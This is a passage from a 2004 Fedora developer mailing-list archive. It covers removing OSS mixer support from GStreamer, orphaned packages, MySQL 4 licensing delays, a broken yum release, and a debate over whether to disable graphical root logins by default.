<02910BF11C768FFA12F1D3E9@[10.0.0.4]> FYI: Maybe time to move MySQL to Extras? From rbultje at ronald.bitfreak.net Mon Oct 18 19:28:49 2004 From: rbultje at ronald.bitfreak.net (Ronald S. Bultje) Date: Mon, 18 Oct 2004 21:28:49 +0200 Subject: disable oss in gstreamer-plugins In-Reply-To: <1098125179.7435.13.camel@decepticon.boston.redhat.com> References: <1097957490.18528.8.camel@localhost.localdomain> <1098008638.14562.8.camel@otto.amantes> <1098009609.18528.32.camel@localhost.localdomain> <1098092548.2798.13.camel@tux.lan> <1098094242.7422.25.camel@localhost.localdomain> <1098125179.7435.13.camel@decepticon.boston.redhat.com> Message-ID: <1098127729.2798.27.camel@tux.lan> On Mon, 2004-10-18 at 20:46, Colin Walters wrote: > One alternative instead would be have gnome-volume-control skip OSS > mixers for now. That's probably a good idea, given that you don't expect anyone to still use OSS... Ronald -- Ronald S. Bultje From ville.skytta at iki.fi Mon Oct 18 19:41:17 2004 From: ville.skytta at iki.fi (Ville =?ISO-8859-1?Q?Skytt=E4?=) Date: Mon, 18 Oct 2004 22:41:17 +0300 Subject: Proposal: new package in fc3 In-Reply-To: <20041018205137.6606f24c.fedora@wir-sind-cool.org> References: <777aada20410181020e77045@mail.gmail.com> <20041018205137.6606f24c.fedora@wir-sind-cool.org> Message-ID: <1098128476.3809.36.camel@bobcat.mine.nu> On Mon, 2004-10-18 at 21:51, Michael Schwendt wrote: > If you ported this from Perl to Python, you might get support from the > Python lobby inside Red Hat, which seems to be much stronger than the > Perl lobby. I wonder if rewriting Perl in Python would "solve" this "problem" once and for all :? From fedora at wir-sind-cool.org Mon Oct 18 19:43:11 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Mon, 18 Oct 2004 21:43:11 +0200 Subject: [fedora.us] unmaintained packages Message-ID: <20041018214311.5d326663.fedora@wir-sind-cool.org> Dark clowds at the sky... We're facing the problem of unmaintained packages. E.g. Snort which was last built for Red Hat Linux 9 on 23-Apr-2003 and since then has neither been updated nor rebuilt for Fedora Core. Or cfengine [1], which has binary builds of a security update waiting in the "pending" repository [2] since 2004-08-16, but nobody (including the package developer) doing the verification/approval step to get this published. Anybody interested in taking over these packages? I have the feeling that there may be more packages in such a state. If you know some, I'd like to know. Or file a bug report, please. There's no requirement for packages to be the bleeding edge very latest upstream versions. But unmaintained/desolate packages, which are not available after a distribution upgrade, should be dealt with in some way. -- [1] https://bugzilla.fedora.us/show_bug.cgi?id=1980 [2] http://download.fedora.us/pending/ Fedora Core release 2.92 (FC3 Test 3) - Linux 2.6.8-1.541 loadavg: 1.73 1.77 1.67 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From ville.skytta at iki.fi Mon Oct 18 19:48:00 2004 From: ville.skytta at iki.fi (Ville =?ISO-8859-1?Q?Skytt=E4?=) Date: Mon, 18 Oct 2004 22:48:00 +0300 Subject: [fedora.us] unmaintained packages In-Reply-To: <20041018214311.5d326663.fedora@wir-sind-cool.org> References: <20041018214311.5d326663.fedora@wir-sind-cool.org> Message-ID: <1098128879.3809.41.camel@bobcat.mine.nu> On Mon, 2004-10-18 at 22:43, Michael Schwendt wrote: > I have the feeling that there may be more packages in such a state. > If you know some, I'd like to know. Or file a bug report, please. Setting up a central location for this info, eg. a Wiki page akin to Debian's WNPP [1], wouldn't be a bad idea. [1] http://www.debian.org/devel/wnpp/ From ville.skytta at iki.fi Mon Oct 18 19:58:25 2004 From: ville.skytta at iki.fi (Ville =?ISO-8859-1?Q?Skytt=E4?=) Date: Mon, 18 Oct 2004 22:58:25 +0300 Subject: [fedora.us] unmaintained packages In-Reply-To: <20041018214311.5d326663.fedora@wir-sind-cool.org> References: <20041018214311.5d326663.fedora@wir-sind-cool.org> Message-ID: <1098129505.3809.48.camel@bobcat.mine.nu> On Mon, 2004-10-18 at 22:43, Michael Schwendt wrote: > I have the feeling that there may be more packages in such a state. > If you know some, I'd like to know. Forgot to say that http://www.fedora.us/wiki/FC2Status contains a couple of candidates; there has been no response from a maintainer for some FC2 build failure reports filed in Bugzilla. From rdieter at math.unl.edu Mon Oct 18 20:00:56 2004 From: rdieter at math.unl.edu (Rex Dieter) Date: Mon, 18 Oct 2004 15:00:56 -0500 Subject: [fedora.us] unmaintained packages In-Reply-To: <1098129505.3809.48.camel@bobcat.mine.nu> References: <20041018214311.5d326663.fedora@wir-sind-cool.org> <1098129505.3809.48.camel@bobcat.mine.nu> Message-ID: <417420F8.5060009@math.unl.edu> Ville Skytt? wrote: > On Mon, 2004-10-18 at 22:43, Michael Schwendt wrote: > > >>I have the feeling that there may be more packages in such a state. >>If you know some, I'd like to know. > > > Forgot to say that http://www.fedora.us/wiki/FC2Status contains a couple > of candidates; there has been no response from a maintainer for some FC2 > build failure reports filed in Bugzilla. Dunno why kickpim is listed , but AFAIK, it's not obsolete and it should rebuild fine as-is on FC2 -- Rex From louisg00 at bellsouth.net Mon Oct 18 20:16:15 2004 From: louisg00 at bellsouth.net (Louis Garcia) Date: Mon, 18 Oct 2004 16:16:15 -0400 Subject: disable oss in gstreamer-plugins Message-ID: <1098130576.5512.4.camel@tiger> What will happen with apps that use OSS. I still play games like wolfenstein and aa, how would I adjust the volume for those apps. If you remove the oss mixer should the alsa mixer just adjust both volumes concurrently. --Louis > > One alternative instead would be have gnome-volume-control skip OSS > > mixers for now. > > That's probably a good idea, given that you don't expect anyone to still > use OSS... > > Ronald From walters at redhat.com Mon Oct 18 20:19:50 2004 From: walters at redhat.com (Colin Walters) Date: Mon, 18 Oct 2004 16:19:50 -0400 Subject: disable oss in gstreamer-plugins In-Reply-To: <1098127729.2798.27.camel@tux.lan> References: <1097957490.18528.8.camel@localhost.localdomain> <1098008638.14562.8.camel@otto.amantes> <1098009609.18528.32.camel@localhost.localdomain> <1098092548.2798.13.camel@tux.lan> <1098094242.7422.25.camel@localhost.localdomain> <1098125179.7435.13.camel@decepticon.boston.redhat.com> <1098127729.2798.27.camel@tux.lan> Message-ID: <1098130790.3777.4.camel@decepticon.boston.redhat.com> On Mon, 2004-10-18 at 21:28 +0200, Ronald S. Bultje wrote: > On Mon, 2004-10-18 at 20:46, Colin Walters wrote: > > One alternative instead would be have gnome-volume-control skip OSS > > mixers for now. > > That's probably a good idea, given that you don't expect anyone to still > use OSS... Done. -------------- next part -------------- A non-text attachment was scrubbed... Name: gnome-media-2.8.0-no-oss-mixer.patch Type: text/x-patch Size: 496 bytes Desc: not available URL: From ville.skytta at iki.fi Mon Oct 18 20:23:41 2004 From: ville.skytta at iki.fi (Ville =?ISO-8859-1?Q?Skytt=E4?=) Date: Mon, 18 Oct 2004 23:23:41 +0300 Subject: [fedora.us] unmaintained packages In-Reply-To: <417420F8.5060009@math.unl.edu> References: <20041018214311.5d326663.fedora@wir-sind-cool.org> <1098129505.3809.48.camel@bobcat.mine.nu> <417420F8.5060009@math.unl.edu> Message-ID: <1098131021.3809.51.camel@bobcat.mine.nu> On Mon, 2004-10-18 at 23:00, Rex Dieter wrote: > Dunno why kickpim is listed , but AFAIK, it's not obsolete and it should > rebuild fine as-is on FC2 Ok, it did, and is now in the FC2 repo too. Thanks for the info. From dhollis at davehollis.com Mon Oct 18 20:20:49 2004 From: dhollis at davehollis.com (David Hollis) Date: Mon, 18 Oct 2004 23:20:49 +0300 Subject: rawhide report: 20041015 changes In-Reply-To: <1097856118.3615.6.camel@davidz> References: <200410151201.i9FC1Si23231@porkchop.devel.redhat.com> <1097854658.3615.1.camel@davidz> <20041015154223.GC23638@redhat.com> <1097856118.3615.6.camel@davidz> Message-ID: <1098130849.5524.3.camel@dhollis-lnx.centricconsulting.com> On Fri, 2004-10-15 at 12:01 -0400, David Zeuthen wrote: > That is correct. It works with .610 and it doesn't work well with .624. > > > Thats.. puzzling. In what way does it fail? > > hald looks at e.g. /dev/sda1 to probe for file system labels, UUID's, > file system types etc. and it appears that reading fails. > > > strace diff of both working/failing may highlight something useful. > > I have noticed that with recent versions (maybe 0.10 and higher) of the Intel Wireless ipw2200 driver, haldaemon dies on startup. If I unload the ipw2200 module, hal loads. The strace output shows that hal is diddling around with the sysfs entries for the ipw2200 pci device when it blows. I haven't spent enough time gathering initial info to be able to determine if its an ipw2200 problem or a hal problem to be ready to send up a bug report. When I get back to states if it hasn't resolved itself with newer versions of both items, I'll have to do that. -- David Hollis From rbultje at ronald.bitfreak.net Mon Oct 18 20:50:42 2004 From: rbultje at ronald.bitfreak.net (Ronald S. Bultje) Date: Mon, 18 Oct 2004 22:50:42 +0200 Subject: disable oss in gstreamer-plugins In-Reply-To: <1098130576.5512.4.camel@tiger> References: <1098130576.5512.4.camel@tiger> Message-ID: <1098132635.2798.29.camel@tux.lan> On Mon, 2004-10-18 at 22:16, Louis Garcia wrote: > What will happen with apps that use OSS. I still play games like > wolfenstein and aa, how would I adjust the volume for those apps. If you > remove the oss mixer should the alsa mixer just adjust both volumes > concurrently. Yes. Ronald -- Ronald S. Bultje From wtogami at redhat.com Mon Oct 18 21:08:13 2004 From: wtogami at redhat.com (Warren Togami) Date: Mon, 18 Oct 2004 11:08:13 -1000 Subject: MySQL 4 stalled in Red Hat legal department In-Reply-To: <02910BF11C768FFA12F1D3E9@[10.0.0.4]> References: <02910BF11C768FFA12F1D3E9@[10.0.0.4]> Message-ID: <417430BD.6020500@redhat.com> Kenneth Porter wrote: > FYI: > > > > > > Maybe time to move MySQL to Extras? > Stop blaming RH legal, who is merely doing their job. It isn't their fault that their opinion is the wording of the current exception is self-contradictory, and the real problem license that needs to be changed to avoid this problem is PHP. Warren Togami wtogami at redhat.com From list at pceet030.cern.ch Mon Oct 18 21:08:14 2004 From: list at pceet030.cern.ch (Alfredo Ferrari) Date: Mon, 18 Oct 2004 23:08:14 +0200 (CEST) Subject: disable oss in gstreamer-plugins In-Reply-To: <1098130790.3777.4.camel@decepticon.boston.redhat.com> References: <1097957490.18528.8.camel@localhost.localdomain> <1098008638.14562.8.camel@otto.amantes> <1098009609.18528.32.camel@localhost.localdomain> <1098092548.2798.13.camel@tux.lan> <1098094242.7422.25.camel@localhost.localdomain> <1098125179.7435.13.camel@decepticon.boston.redhat.com> <1098127729.2798.27.camel@tux.lan> <1098130790.3777.4.camel@decepticon.boston.redhat.com> Message-ID: Hi I suppose that after the change alsa mixers will control OSS volume(s) as well: there are still plenty of apps using OSS and many of them are unlikely to be ported to alsa in a short term (if ever). Alfredo On Mon, 18 Oct 2004, Colin Walters wrote: > On Mon, 2004-10-18 at 21:28 +0200, Ronald S. Bultje wrote: >> On Mon, 2004-10-18 at 20:46, Colin Walters wrote: >>> One alternative instead would be have gnome-volume-control skip OSS >>> mixers for now. >> >> That's probably a good idea, given that you don't expect anyone to still >> use OSS... > > Done. > > > -- +----------------------------------------------------------------------------+ | Alfredo Ferrari || Tel.: +41.22.767.6119 | | C.E.R.N. || Fax.: +41.22.767.7555 | | European Laboratory for Particle Physics|| | | AB Division / ATB Group || e-mail: | | 1211 Geneva 23 || Alfredo.Ferrari at cern.ch | | Switzerland || Alfredo.Ferrari at mi.infn.it | +----------------------------------------------------------------------------+ From hp at redhat.com Mon Oct 18 21:14:38 2004 From: hp at redhat.com (Havoc Pennington) Date: Mon, 18 Oct 2004 17:14:38 -0400 Subject: MySQL 4 stalled in Red Hat legal department In-Reply-To: <02910BF11C768FFA12F1D3E9@[10.0.0.4]> References: <02910BF11C768FFA12F1D3E9@[10.0.0.4]> Message-ID: <1098134078.24400.56.camel@localhost.localdomain> On Mon, 2004-10-18 at 12:12 -0700, Kenneth Porter wrote: > FYI: > > > > > > Maybe time to move MySQL to Extras? > Extras doesn't normally allow packages with licensing problems either (in principle the legal requirements on core/extras are the same - valid OSS license, etc.) Havoc From marcdeslauriers at videotron.ca Mon Oct 18 21:15:57 2004 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Mon, 18 Oct 2004 17:15:57 -0400 Subject: MySQL 4 stalled in Red Hat legal department In-Reply-To: <02910BF11C768FFA12F1D3E9@[10.0.0.4]> References: <02910BF11C768FFA12F1D3E9@[10.0.0.4]> Message-ID: <1098134157.25250.3.camel@mdlinux> On Mon, 2004-10-18 at 15:12, Kenneth Porter wrote: > Maybe time to move MySQL to Extras? Why? Version 3.x is fine where it is. Marc. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From feliciano.matias at free.fr Mon Oct 18 19:51:04 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Mon, 18 Oct 2004 21:51:04 +0200 Subject: disable oss in gstreamer-plugins In-Reply-To: <1098125179.7435.13.camel@decepticon.boston.redhat.com> References: <1097957490.18528.8.camel@localhost.localdomain> <1098008638.14562.8.camel@otto.amantes> <1098009609.18528.32.camel@localhost.localdomain> <1098092548.2798.13.camel@tux.lan> <1098094242.7422.25.camel@localhost.localdomain> <1098125179.7435.13.camel@decepticon.boston.redhat.com> Message-ID: <1098129064.11591.35.camel@localhost.localdomain> Le lundi 18 octobre 2004 ? 14:46 -0400, Colin Walters a ?crit : > On Mon, 2004-10-18 at 12:10 +0200, Matias F?liciano wrote: > > > But I don't think it's good idea to keep OSS plugin only because > > sometimes it works better than alsa plugin. > > One alternative instead would be have gnome-volume-control skip OSS > mixers for now. > > gnome-volume-control (you forget other mixer programs that use gstreamer (mixer-applet)) will skip OSS, gstreamer use alsa by default, Fedora kernel does not provide OSS driver (since FC2), why do we still need the OSS plugin of gstreamer ? If it's because sometimes alsa plugin is broken then I can ask for OSS drivers because sometimes alsa drivers does not work. So, except when alsa plugin is broken, when do we need the OSS plugin ? Is Fedora supporting OSS ? Does not seem because there is no OSS mixer (except the current gnome-volume-control). http://fedora.redhat.com/about/objectives.html Non-Objectives of Fedora Core: - Being a dumping ground for unmaintained or poorly designed software. Backward compatibility is a good thing. This is already done with OSS emulation. I perfectly understand that gstreamer support OSS plugin (Fedora is not the only target of gstreamer). I don't understand why Fedora support an unneeded OSS plugin that encumber mixer using gstreamer. Just curious. Don't pay too attention about this, I don't use gnome-volume-control nor mixer-applet :-) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From alan at clueserver.org Mon Oct 18 22:08:26 2004 From: alan at clueserver.org (Alan) Date: Mon, 18 Oct 2004 15:08:26 -0700 Subject: Latest Yum in Rawhide is Bjorken Message-ID: <1098137305.22783.4.camel@zontar.fnordora.org> The latest version of Yum in rawhide does not work. Complains that "yummain" is missing. Does not work for any function at that point. -- 'This message has not been made with the consent or cooperation of the Federal Board of Regulations (F.B.R.) or the Central Enquires Agency (C.E.A.). Any resemblance to persons living or dead is purely coincidental, and so forth and so on. From mattdm at mattdm.org Mon Oct 18 22:11:10 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Mon, 18 Oct 2004 18:11:10 -0400 Subject: Latest Yum in Rawhide is Bjorken In-Reply-To: <1098137305.22783.4.camel@zontar.fnordora.org> References: <1098137305.22783.4.camel@zontar.fnordora.org> Message-ID: <20041018221110.GA7176@jadzia.bu.edu> On Mon, Oct 18, 2004 at 03:08:26PM -0700, Alan wrote: > The latest version of Yum in rawhide does not work. Complains that > "yummain" is missing. Does not work for any function at that point. Yeah -- Seth posted earlier pointing out the problem. It'll be fixed soon, I'm sure. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From mgarski at post.pl Mon Oct 18 22:12:52 2004 From: mgarski at post.pl (Marcin Garski) Date: Tue, 19 Oct 2004 00:12:52 +0200 Subject: Latest Yum in Rawhide is Bjorken In-Reply-To: <1098137305.22783.4.camel@zontar.fnordora.org> References: <1098137305.22783.4.camel@zontar.fnordora.org> Message-ID: <41743FE4.1060607@post.pl> Alan wrote: > The latest version of Yum in rawhide does not work. Complains that > "yummain" is missing. Does not work for any function at that point. Is this 2.1.8, if yes, read: >> yum-2.1.8-1 >> ----------- >> * Mon Oct 18 2004 Bill Nottingham - 2.1.8-1 >> >> - 2.1.8, fixes #135735, #135998, #135775 2.1.8, Breaks, everything b/c I left a local devel path in a file. Fixed in 2.1.9 - which should hit rawhide very soon. you won't be able to uses 2.1.8 unless you have my homedir with my devel paths. :) Sorry. -sv -- Best Regards Marcin Garski From jonathansavage at gmail.com Mon Oct 18 23:16:21 2004 From: jonathansavage at gmail.com (Jon Savage) Date: Mon, 18 Oct 2004 16:16:21 -0700 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098110879.2691.11.camel@kyrre> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> Message-ID: <2ad7cea10410181616fcfd828@mail.gmail.com> > > Well, I know that, but it works fine in KDE. > > And if somebody insist to log in as root, it is even more dangerous that > > he cannot lock the screen. If logging in as root to a graphical session truly is a badthing(tm) could one not argue that gnome/kde/yourfaviorite gui sessions should be disabled for root by default? GUI admin tools are still available from the application menu(s) in user sessions, along with all of the cli goodness from a terminal + su -/sudo whatever. (fully expecting to get my butt kicked for this suggestion) -- Bests, Jon From rodd at clarkson.id.au Mon Oct 18 23:22:49 2004 From: rodd at clarkson.id.au (Rodd Clarkson) Date: Tue, 19 Oct 2004 09:22:49 +1000 Subject: MySQL 4 stalled in Red Hat legal department In-Reply-To: <417430BD.6020500@redhat.com> References: <02910BF11C768FFA12F1D3E9@[10.0.0.4]> <417430BD.6020500@redhat.com> Message-ID: <1098141769.3789.18.camel@localhost.localdomain> > > Maybe time to move MySQL to Extras? > > > > Stop blaming RH legal, who is merely doing their job. It isn't their > fault that their opinion is the wording of the current exception is > self-contradictory, and the real problem license that needs to be > changed to avoid this problem is PHP. So, maybe we should remove PHP? ;-] As a non-PHP coder, I'd love to have MySQL4 and the thought that a I can't because of a licensing problem in PHP is somewhat disappointing. So yank PHP and let them address the licensing problem. he he he Rodd -- >From the pain come the dream >From the dream come the vision >From the vision come the people >From the people come the power >From this power come the change - Peter Gabriel From wtogami at redhat.com Mon Oct 18 23:49:55 2004 From: wtogami at redhat.com (Warren Togami) Date: Mon, 18 Oct 2004 13:49:55 -1000 Subject: MySQL 4 stalled in Red Hat legal department In-Reply-To: <1098141769.3789.18.camel@localhost.localdomain> References: <02910BF11C768FFA12F1D3E9@[10.0.0.4]> <417430BD.6020500@redhat.com> <1098141769.3789.18.camel@localhost.localdomain> Message-ID: <417456A3.9000608@redhat.com> Rodd Clarkson wrote: >>>Maybe time to move MySQL to Extras? >>> >> >>Stop blaming RH legal, who is merely doing their job. It isn't their >>fault that their opinion is the wording of the current exception is >>self-contradictory, and the real problem license that needs to be >>changed to avoid this problem is PHP. > > > So, maybe we should remove PHP? ;-] > > > As a non-PHP coder, I'd love to have MySQL4 and the thought that a I > can't because of a licensing problem in PHP is somewhat disappointing. > So yank PHP and let them address the licensing problem. > > One option that we are exploring for the future what Debian does. They ship both mysql 3 and 4 client libraries, with PHP linked to only 3 due to this license difficulty. This however would be less than ideal for PHP users, while being an added maintenance burden on us. And definitely too late for FC3. Warren Togami wtogami at redhat.com From jmoyer at redhat.com Mon Oct 18 18:38:57 2004 From: jmoyer at redhat.com (Jeff Moyer) Date: Mon, 18 Oct 2004 14:38:57 -0400 Subject: rawhide report: 20041015 changes In-Reply-To: <417026C7.6070401@Utel.no> References: <000501c4b2b0$aa5bfd00$14aaa8c0@utelsystems.local> <417026C7.6070401@Utel.no> Message-ID: <16756.3521.275355.565880@segfault.boston.redhat.com> ==> Regarding Re: rawhide report: 20041015 changes; "Nils O. Sel?sdal" adds: NOS> Build System wrote: >> kernel-2.6.8-1.624 NOS> ... >> - support O_NONBLOCK for read,pread,readv of regular files. NOS> I'm just beeing curious here, how is it determined that a read of a NOS> file will block ? Does it mean select() will not present a regular NOS> file a always readable anymore ? A read of a file will block if the data you are requesting is not yet in the page cache. Select will not be modified, though other options (epoll) are being considered. Note that the O_NONBLOCK patch has been reverted for the time being, since it breaks many applications. -Jeff From hp at redhat.com Tue Oct 19 00:27:18 2004 From: hp at redhat.com (Havoc Pennington) Date: Mon, 18 Oct 2004 20:27:18 -0400 Subject: Lock screen does not work for root in gnome In-Reply-To: <2ad7cea10410181616fcfd828@mail.gmail.com> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> Message-ID: <1098145638.10425.3.camel@localhost.localdomain> On Mon, 2004-10-18 at 16:16 -0700, Jon Savage wrote: > > > Well, I know that, but it works fine in KDE. > > > And if somebody insist to log in as root, it is even more dangerous that > > > he cannot lock the screen. > If logging in as root to a graphical session truly is a badthing(tm) > could one not argue that gnome/kde/yourfaviorite gui sessions should > be disabled for root by default? GUI admin tools are still available > from the application menu(s) in user sessions, along with all of the > cli goodness from a terminal + su -/sudo whatever. > > (fully expecting to get my butt kicked for this suggestion) > I agree with you, fwiw. Any reason to need to log in as root is a bug. Havoc From wtogami at redhat.com Tue Oct 19 00:28:30 2004 From: wtogami at redhat.com (Warren Togami) Date: Mon, 18 Oct 2004 14:28:30 -1000 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098145638.10425.3.camel@localhost.localdomain> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> Message-ID: <41745FAE.5000703@redhat.com> Havoc Pennington wrote: > On Mon, 2004-10-18 at 16:16 -0700, Jon Savage wrote: > >>>>Well, I know that, but it works fine in KDE. >>>>And if somebody insist to log in as root, it is even more dangerous that >>>>he cannot lock the screen. >> >>If logging in as root to a graphical session truly is a badthing(tm) >>could one not argue that gnome/kde/yourfaviorite gui sessions should >>be disabled for root by default? GUI admin tools are still available >>from the application menu(s) in user sessions, along with all of the >>cli goodness from a terminal + su -/sudo whatever. >> >>(fully expecting to get my butt kicked for this suggestion) >> > > > I agree with you, fwiw. Any reason to need to log in as root is a bug. > > Havoc > > Maybe SuSE or Mandrake's scary red background if you login as root is a good idea. Should we implement that for RHEL4? Warren Togami wtogami at redhat.com From skvidal at phy.duke.edu Tue Oct 19 00:32:13 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Mon, 18 Oct 2004 20:32:13 -0400 Subject: Lock screen does not work for root in gnome In-Reply-To: <41745FAE.5000703@redhat.com> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> Message-ID: <1098145933.30531.2.camel@binkley> > Maybe SuSE or Mandrake's scary red background if you login as root is a > good idea. Should we implement that for RHEL4? Disable root graphical logins. Period. make it so gdm or kdm or xdm just exit. hell, you could make the xinitrc script handle it: if your uid is 0 then you throw up a hate-filled messaged and exit. EOD. If you can't flip to a console and take care of the problem there as root, then you REALLY don't need to be logged into a graphical client to do it. -sv From louisg00 at bellsouth.net Tue Oct 19 00:35:54 2004 From: louisg00 at bellsouth.net (Louis Garcia) Date: Tue, 19 Oct 2004 00:35:54 +0000 Subject: Latest firefox doesn't pick up plugins in /usr/lib/mozilla Message-ID: <1098146154.5341.4.camel@tiger> I've placed flash and java plugins in /usr/lib/mozilla and firefox picked them up. With the latest version of firefox this does not happen. firefox-0.10.1-1.0PR1.12 is the version I'm running. --Louis From jon at jonshouse.co.uk Tue Oct 19 00:44:26 2004 From: jon at jonshouse.co.uk (Jonathan Andrews) Date: Tue, 19 Oct 2004 01:44:26 +0100 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098145933.30531.2.camel@binkley> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> Message-ID: <1098146666.3627.20.camel@jonspc> > Disable root graphical logins. > > Period. > > make it so gdm or kdm or xdm just exit. > > hell, you could make the xinitrc script handle it: > > if your uid is 0 then you throw up a hate-filled messaged and exit. > > EOD. > > If you can't flip to a console and take care of the problem there as > root, then you REALLY don't need to be logged into a graphical client to > do it. > Bite me ! I want to run some of my boxes as root with X, not to mention the problems this would cause trying to work with some cluster setups and embedded boxes. I have X code then even requires to run UID 0. Users should have the power to choose, even if you personally think its a poor choice. If you have such a security fetish then go play with firewall rules in the corner and leave us users to decide how to operate our machines ! Jon From symbiont at berlios.de Tue Oct 19 00:54:11 2004 From: symbiont at berlios.de (Jeff Pitman) Date: Tue, 19 Oct 2004 08:54:11 +0800 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098145933.30531.2.camel@binkley> References: <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> Message-ID: <200410190854.11341.symbiont@berlios.de> On Tuesday 19 October 2004 08:32, seth vidal wrote: > If you can't flip to a console and take care of the problem there as > root, then you REALLY don't need to be logged into a graphical client > to do it. Maybe go to failsafe with just a xterm. Is that a security risk? Also, I know things like Bastille (stripped /etc/securetty) can restrict root from logging in even from the tty. This forces the user to login first and switch to the root user in their session. It's another layer of security that a cracker must go around. Of course, if a user used NOPASSWD in sudoers, there's only one layer: the user's password. take care, -- -jeff From xose at wanadoo.es Tue Oct 19 01:00:32 2004 From: xose at wanadoo.es (Xose Vazquez Perez) Date: Tue, 19 Oct 2004 03:00:32 +0200 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098145933.30531.2.camel@binkley> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> Message-ID: <41746730.2060206@wanadoo.es> seth vidal wrote: > Disable root graphical logins. too much radical. It's much better, IMHO, to make the X root environment 'uncomfortable' with _minimal_ options/menus and a bad look to show people that root's $HOME is not a good place to work everyday ;-) I vote for twm as windowmanager for root X-D -- Hello, this is Darl McBride, and I pronounce Linux as UNIX. From mattdm at mattdm.org Tue Oct 19 01:06:07 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Mon, 18 Oct 2004 21:06:07 -0400 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098145933.30531.2.camel@binkley> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> Message-ID: <20041019010606.GA14104@jadzia.bu.edu> On Mon, Oct 18, 2004 at 08:32:13PM -0400, seth vidal wrote: > > Maybe SuSE or Mandrake's scary red background if you login as root is a > > good idea. Should we implement that for RHEL4? > Disable root graphical logins. > Period. > make it so gdm or kdm or xdm just exit. Or do it what I do -- make it launch a minimalist environment which presents only the user manager tool, and some text explaining how to create a normal user with administrative access. (We also configure the wheel group with sudo and usermode sudo-like power, but that wouldn't be strictly necessary.) > hell, you could make the xinitrc script handle it: > if your uid is 0 then you throw up a hate-filled messaged and exit. That's what we used to do. Well, except instead of 'hate-filled', it was educational. And there was a 'okay, let me do it anyway' button that you could pick after 30 seconds. > EOD. Heh. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From jspaleta at gmail.com Tue Oct 19 01:12:19 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Mon, 18 Oct 2004 21:12:19 -0400 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098146666.3627.20.camel@jonspc> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098146666.3627.20.camel@jonspc> Message-ID: <604aa79104101818126fb6f7e8@mail.gmail.com> On Tue, 19 Oct 2004 01:44:26 +0100, Jonathan Andrews wrote: > Bite me ! Tell me where i get in line. > Users should have the power to choose, even if you personally think its > a poor choice. Choose what? Choose to use less secure defaults? Choose to recompile software using less secure settings? Choose to write their own software? Here let me reparse what seth said with my "by default" clause post-processor and see if you can stomach my version: Disable root graphical logins..... by default Period. make it so gdm or kdm or xdm just exit... by default hell, you could make the xinitrc script handle it...by default: if your uid is 0 then you throw up a hate-filled messaged and exit....by default EOD.... by default I'll grant you that there are some bizarro pieces of software out there, but if they require you to be logged into X as root, that software has to be considered at the very least buggy if not malicious. But I see nothing wrong with making the default settings for gdm revoke all root user attempts at logging in..by default. And I see no problem taking a more aggressive stance by hardcoding a well commented root login check into xinitrc that anyone who wants to break the no root login must find and comment out. As a local admin, you would still have the choice to reconfigure gdm or the xinitrc script to lift those defaults. > If you have such a security fetish then go play with firewall rules in > the corner and leave us users to decide how to operate our machines ! No, security is a community wide problem. As we learn every day, insecurely admined boxes on the public internet can cause problems for everyone and not just the person with the hacked box who doesn't take the time or have the patience to do things securely. Security, sir, is everyone's problem. And I'd much rather see buggy graphical software fixed so that it doesn't require root login, than to have someone inexperienced(who doesn't have the skill to even reconfigure a shell script like xinitrc to enable root login) think that loginning into as root is an acceptible workaround for common problems. -jef"why won't the red sox lose gracefully..why do they have to put up a fight"spaleta From elanthis at awesomeplay.com Tue Oct 19 01:16:29 2004 From: elanthis at awesomeplay.com (Sean Middleditch) Date: Mon, 18 Oct 2004 21:16:29 -0400 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098146666.3627.20.camel@jonspc> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098146666.3627.20.camel@jonspc> 